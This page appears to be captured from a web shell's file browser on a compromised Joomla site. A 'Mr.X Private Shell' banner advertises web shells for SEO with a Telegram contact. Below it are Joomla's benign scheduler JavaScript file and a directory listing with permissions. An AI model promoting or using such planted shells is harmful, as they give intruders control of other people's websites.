__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/**
* @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
/**
* Makes calls to com_ajax to trigger the Scheduler.
*
* Used for lazy scheduling of tasks.
*
* @package Joomla.Plugins
* @subpackage System.ScheduleRunner
*
* @since 4.1.0
*/
if (!window.Joomla) {
throw new Error('Joomla API was not properly initialised');
}
const initScheduler = () => {
const options = Joomla.getOptions('plg_system_schedulerunner');
const paths = Joomla.getOptions('system.paths');
const interval = (options && options.interval ? parseInt(options.interval, 10) : 300) * 1000;
const uri = `${paths ? `${paths.root}/index.php` : window.location.pathname}?option=com_ajax&format=raw&plugin=RunSchedulerLazy&group=system`;
setInterval(() => fetch(uri, {
method: 'GET'
}), interval);
// Run it at the beginning at least once
fetch(uri, {
method: 'GET'
});
};
(document => {
document.addEventListener('DOMContentLoaded', () => {
initScheduler();
});
})(document);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| run-schedule-es5.js | File | 1.23 KB | 0664 |
|
| run-schedule-es5.min.js | File | 706 B | 0664 |
|
| run-schedule-es5.min.js.gz | File | 472 B | 0664 |
|
| run-schedule.js | File | 1.07 KB | 0664 |
|
| run-schedule.min.js | File | 672 B | 0664 |
|
| run-schedule.min.js.gz | File | 459 B | 0664 |
|